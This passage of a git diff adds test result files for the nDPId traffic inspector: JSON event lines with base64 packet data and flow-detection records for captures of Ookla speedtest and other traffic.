packet","thread_id":0,"packet_id":931,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":932,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":85556,"pkt_caplen":72,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":72,"pkt_l4_len":0,"pkt":"RQAASD9dQABABgLdwKi0ArL40NKmXgBQrzComDkz4hTQEAbnECYAAAEBCAoANZlxGkFp2gEBBRI5NAKcOTQNdDkz54A5M\/0w"} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":932,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":933,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":125223,"pkt_caplen":72,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":72,"pkt_l4_len":0,"pkt":"RQAASD9eQABABgLcwKi0ArL40NKmXgBQrzComDkz4hTQEAbnCrYAAAEBCAoANZl1GkFp2gEBBRI5NAKcOTQS4Dkz54A5M\/0w"} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":933,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":934,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":159815,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQD9fQABABgLjwKi0ArL40NKmXgBQrzComDkz\/TCwEAcUZnEAAAEBCAoANZl4GkFp+wEBBQo5NAKcOTQS4A=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":934,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":935,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":192446,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAAND9gQABABgLuwKi0ArL40NKmXgBQrzComDk0EuCAEAdCDocAAAEBCAoANZl7GkFqAA=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":935,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":936,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":276860,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQD9hQABABgLhwKi0ArL40NKmXgBQrzComDk0EuCwEAdCL\/oAAAEBCAoANZmEGkFqAAEBBQo5NBhMOTQduA=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":936,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":937,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":277546,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQD9iQABABgLgwKi0ArL40NKmXgBQrzComDk0EuCwEAdCKo4AAAEBCAoANZmEGkFqAAEBBQo5NBhMOTQjJA=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":937,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":938,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":304880,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQD9jQABABgLfwKi0ArL40NKmXgBQrzComDk0EuCwEAdCJR8AAAEBCAoANZmHGkFqAAEBBQo5NBhMOTQokA=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":938,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":939,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":306464,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQD9kQABABgLewKi0ArL40NKmXgBQrzComDk0EuCwEAdCH7MAAAEBCAoANZmHGkFqAAEBBQo5NBhMOTQt\/A=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":939,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":940,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":341297,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAAND9lQABABgLpwKi0ArL40NKmXgBQrzComDk0LfyAEAdv8yAAAAEBCAoANZmKGkFqDg=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":940,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":941,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":343264,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAAND9mQABABgLowKi0ArL40NKmXgBQrzComDk0M2iAEAec7YcAAAEBCAoANZmKGkFqDg=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":941,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":942,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":411759,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAAND9nQABABgLnwKi0ArL40NKmXgBQrzComDk0ONSAEAfJ5+QAAAEBCAoANZmRGkFqEQ=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":942,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":943,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652845,"pkt_ts_usec":412828,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAAND9oQABABgLmwKi0ArL40NKmXgBQrzComDk0PkCAEAf34kkAAAEBCAoANZmRGkFqEg=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":943,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00362{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":944,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652846,"pkt_ts_usec":325225,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAAND9pQABABgLlwKi0ArL40NKmXgBQrzComDk0Q6yAEAgk3AIAAAEBCAoANZntGkFqZA=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":944,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":945,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652846,"pkt_ts_usec":377013,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQD9qQABABgLYwKi0ArL40NKmXgBQrzComDk0Q6ywEAgkkQkAAAEBCAoANZnyGkFqZAEBBQo5NE6EOTRT8A=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":945,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":946,"source":"ocs.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1449652846,"pkt_ts_usec":380718,"pkt_caplen":64,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":64,"pkt_l4_len":0,"pkt":"RQAAQD9rQABABgLXwKi0ArL40NKmXgBQrzComDk0Q6ywEAgki50AAAEBCAoANZnyGkFqZAEBBQo5NE6EOTRZXA=="} +00157{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":946,"source":"ocs.pcap","alias":"nDPId-test","datalink":12} diff --git a/test/results/ookla.pcap.out b/test/results/ookla.pcap.out new file mode 100644 index 000000000..d6cd90ea9 --- /dev/null +++ b/test/results/ookla.pcap.out @@ -0,0 +1,34 @@ +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ookla.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1491069108756,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"46.44.253.187","src_port":51207,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":756336,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqojWksxCwDBkn+CABFAABAClpAAEAGAADAqAEHLiz9u8gHAFAHQx4AAAAAALAC\/\/\/tyQAAAgQFtAEDAwUBAQgKDd4HoAAAAAAEAgAA"} +00433{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":793565,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xCwDBkn+gCqojWksCABFAAA8AABAADMGWiUuLP27wKgBBwBQyAdRUNK1B0MeAaASOJAJ5wAAAgQFrAQCCAp\/4XDqDd4HoAEDAwU="} +00421{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":793727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqojWksxCwDBkn+CABFAAA0s5FAAEAGAADAqAEHLiz9u8gHAFAHQx4BUVDStoAQECztvQAAAQEICg3eB8R\/4XDq"} +00880{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":794394,"pkt_caplen":408,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":408,"pkt_l4_len":374,"pkt":"gCqojWksxCwDBkn+CABFAAGKwIdAAEAGAADAqAEHLiz9u8gHAFAHQx4BUVDStoAYECzvEwAAAQEICg3eB8R\/4XDqR0VUIC9jcm9zc2RvbWFpbi54bWwgSFRUUC8xLjENCkhvc3Q6IG1hc3Nhcm9zYS0xLnNwZWVkdGVzdC53ZWxjb21laXRhbGlhLml0DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpBY2NlcHQ6ICovKg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTJfMykgQXBwbGVXZWJLaXQvNjAyLjQuOCAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vMTAuMC4zIFNhZmFyaS82MDIuNC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzDQpSZWZlcmVyOiBodHRwOi8vd3d3LnNwZWVkdGVzdC5uZXQvaXQvDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCg0K"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"ookla.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1491069108756,"flow_last_seen":1491069108794,"flow_tot_l4_data_len":490,"flow_min_l4_data_len":32,"flow_max_l4_data_len":374,"flow_avg_l4_data_len":122,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"46.44.253.187","src_port":51207,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Ookla","breed":"Safe","category":"Network"},"http": {}} +00421{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":878410,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xCwDBkn+gCqojWksCABFAAA0okFAADMGt+suLP27wKgBBwBQyAdRUNK2B0MfV4AQAeZtzAAAAQEICn\/hcPcN3gfE"} +01036{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":883236,"pkt_caplen":523,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":523,"pkt_l4_len":489,"pkt":"xCwDBkn+gCqojWksCABFAAH9okJAADMGtiEuLP27wKgBBwBQyAdRUNK2B0MfV4AYAeaLBgAAAQEICn\/hcPcN3gfESFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBTYXQsIDAxIEFwciAyMDE3IDE3OjUxOjA4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIyIChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBTYXQsIDAxIFNlcCAyMDA3IDE3OjM2OjAyIEdNVA0KRVRhZzogIjYzNjdhLWExLTQzOTE2NWY4ZDQ0ODAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDE2MQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3htbA0KDQo8P3htbCB2ZXJzaW9uPSIxLjAiPz4KPGNyb3NzLWRvbWFpbi1wb2xpY3k+CiAgPGFsbG93LWFjY2Vzcy1mcm9tIGRvbWFpbj0iKi5vb2tsYS5jb20iIC8+CiAgPGFsbG93LWFjY2Vzcy1mcm9tIGRvbWFpbj0iKi5zcGVlZHRlc3QubmV0IiAvPgo8L2Nyb3NzLWRvbWFpbi1wb2xpY3k+Cg=="} +00421{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":883340,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqojWksxCwDBkn+CABFAAA0AntAAEAGAADAqAEHLiz9u8gHAFAHQx9XUVDUf4AQEB3tvQAAAQEICg3eCBF\/4XD3"} +00913{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":886645,"pkt_caplen":430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":430,"pkt_l4_len":396,"pkt":"gCqojWksxCwDBkn+CABFAAGgSXNAAEAGAADAqAEHLiz9u8gHAFAHQx9XUVDUf4AYEB3vKQAAAQEICg3eCBR\/4XD3R0VUIC9zcGVlZHRlc3QvbGF0ZW5jeS50eHQ\/eD0xNDkxMDY5MTA4NjkzIEhUVFAvMS4xDQpIb3N0OiBtYXNzYXJvc2EtMS5zcGVlZHRlc3Qud2VsY29tZWl0YWxpYS5pdA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEyXzMpIEFwcGxlV2ViS2l0LzYwMi40LjggKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEwLjAuMyBTYWZhcmkvNjAyLjQuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KUmVmZXJlcjogaHR0cDovL3d3dy5zcGVlZHRlc3QubmV0L2l0Lw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQoNCg=="} +00909{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":926645,"pkt_caplen":429,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":429,"pkt_l4_len":395,"pkt":"xCwDBkn+gCqojWksCABFAAGfokNAADMGtn4uLP27wKgBBwBQyAdRUNR\/B0Mgw4AYAgjxfwAAAQEICn\/hcQsN3ggUSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBTYXQsIDAxIEFwciAyMDE3IDE3OjUxOjA4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIyIChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBGcmksIDI4IEp1bCAyMDA2IDE1OjMxOjIyIEdNVA0KRVRhZzogIjYwNjMzLWEtNDE5YTYwMTJmODY4MCINCkFjY2VwdC1SYW5nZXM6IGJ5dGVzDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANCkNvbnRlbnQtTGVuZ3RoOiAyOA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbg0KDQofiwgAAAAAAAADK0ktLrEtARJcAJw9W3UKAAAA"} +00423{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":926798,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqojWksxCwDBkn+CABFAAA0Bx1AAEAGAADAqAEHLiz9u8gHAFAHQyDDUVDV6oAQEBLtvQAAAQEICg3eCDx\/4XEL"} +00915{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":937946,"pkt_caplen":430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":430,"pkt_l4_len":396,"pkt":"gCqojWksxCwDBkn+CABFAAGgeF9AAEAGAADAqAEHLiz9u8gHAFAHQyDDUVDV6oAYEBLvKQAAAQEICg3eCEd\/4XELR0VUIC9zcGVlZHRlc3QvbGF0ZW5jeS50eHQ\/eD0xNDkxMDY5MTA4OTM1IEhUVFAvMS4xDQpIb3N0OiBtYXNzYXJvc2EtMS5zcGVlZHRlc3Qud2VsY29tZWl0YWxpYS5pdA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEyXzMpIEFwcGxlV2ViS2l0LzYwMi40LjggKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEwLjAuMyBTYWZhcmkvNjAyLjQuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KUmVmZXJlcjogaHR0cDovL3d3dy5zcGVlZHRlc3QubmV0L2l0Lw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQoNCg=="} +00910{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":976812,"pkt_caplen":429,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":429,"pkt_l4_len":395,"pkt":"xCwDBkn+gCqojWksCABFAAGfokRAADMGtn0uLP27wKgBBwBQyAdRUNXqB0MiL4AYAinvRwAAAQEICn\/hcRgN3ghHSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBTYXQsIDAxIEFwciAyMDE3IDE3OjUxOjA4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIyIChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBGcmksIDI4IEp1bCAyMDA2IDE1OjMxOjIyIEdNVA0KRVRhZzogIjYwNjMzLWEtNDE5YTYwMTJmODY4MCINCkFjY2VwdC1SYW5nZXM6IGJ5dGVzDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANCkNvbnRlbnQtTGVuZ3RoOiAyOA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbg0KDQofiwgAAAAAAAADK0ktLrEtARJcAJw9W3UKAAAA"} +00423{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069108,"pkt_ts_usec":976867,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqojWksxCwDBkn+CABFAAA0UV9AAEAGAADAqAEHLiz9u8gHAFAHQyIvUVDXVYAQEAftvQAAAQEICg3eCGx\/4XEY"} +00913{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069109,"pkt_ts_usec":6445,"pkt_caplen":430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":430,"pkt_l4_len":396,"pkt":"gCqojWksxCwDBkn+CABFAAGgU7VAAEAGAADAqAEHLiz9u8gHAFAHQyIvUVDXVYAYEAfvKQAAAQEICg3eCIp\/4XEYR0VUIC9zcGVlZHRlc3QvbGF0ZW5jeS50eHQ\/eD0xNDkxMDY5MTA5MDA0IEhUVFAvMS4xDQpIb3N0OiBtYXNzYXJvc2EtMS5zcGVlZHRlc3Qud2VsY29tZWl0YWxpYS5pdA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEyXzMpIEFwcGxlV2ViS2l0LzYwMi40LjggKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEwLjAuMyBTYWZhcmkvNjAyLjQuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KUmVmZXJlcjogaHR0cDovL3d3dy5zcGVlZHRlc3QubmV0L2l0Lw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQoNCg=="} +00909{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069109,"pkt_ts_usec":44871,"pkt_caplen":429,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":429,"pkt_l4_len":395,"pkt":"xCwDBkn+gCqojWksCABFAAGfokVAADMGtnwuLP27wKgBBwBQyAdRUNdVB0Mjm4AYAkvs+gAAAQEICn\/hcSkN3giKSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBTYXQsIDAxIEFwciAyMDE3IDE3OjUxOjA4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIyIChVYnVudHUpDQpMYXN0LU1vZGlmaWVkOiBGcmksIDI4IEp1bCAyMDA2IDE1OjMxOjIyIEdNVA0KRVRhZzogIjYwNjMzLWEtNDE5YTYwMTJmODY4MCINCkFjY2VwdC1SYW5nZXM6IGJ5dGVzDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANCkNvbnRlbnQtTGVuZ3RoOiAyOA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbg0KDQofiwgAAAAAAAADK0ktLrEtARJcAJw9W3UKAAAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"ookla.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1491069115107,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"46.44.253.187","src_port":51215,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"ookla.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491069115,"pkt_ts_usec":107460,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqojWksxCwDBkn+CABFAABAzJ5AAEAGAADAqAEHLiz9u8gPH5CtI6zKAAAAALAC\/\/\/tyQAAAgQFtAEDAwUBAQgKDd4f9gAAAAAEAgAA"} +00498{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"ookla.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1491069115107,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"46.44.253.187","src_port":51215,"dst_port":8080,"l4_proto":"tcp","ndpi": {"proto":"Ookla","breed":"Safe","category":"Network"}} 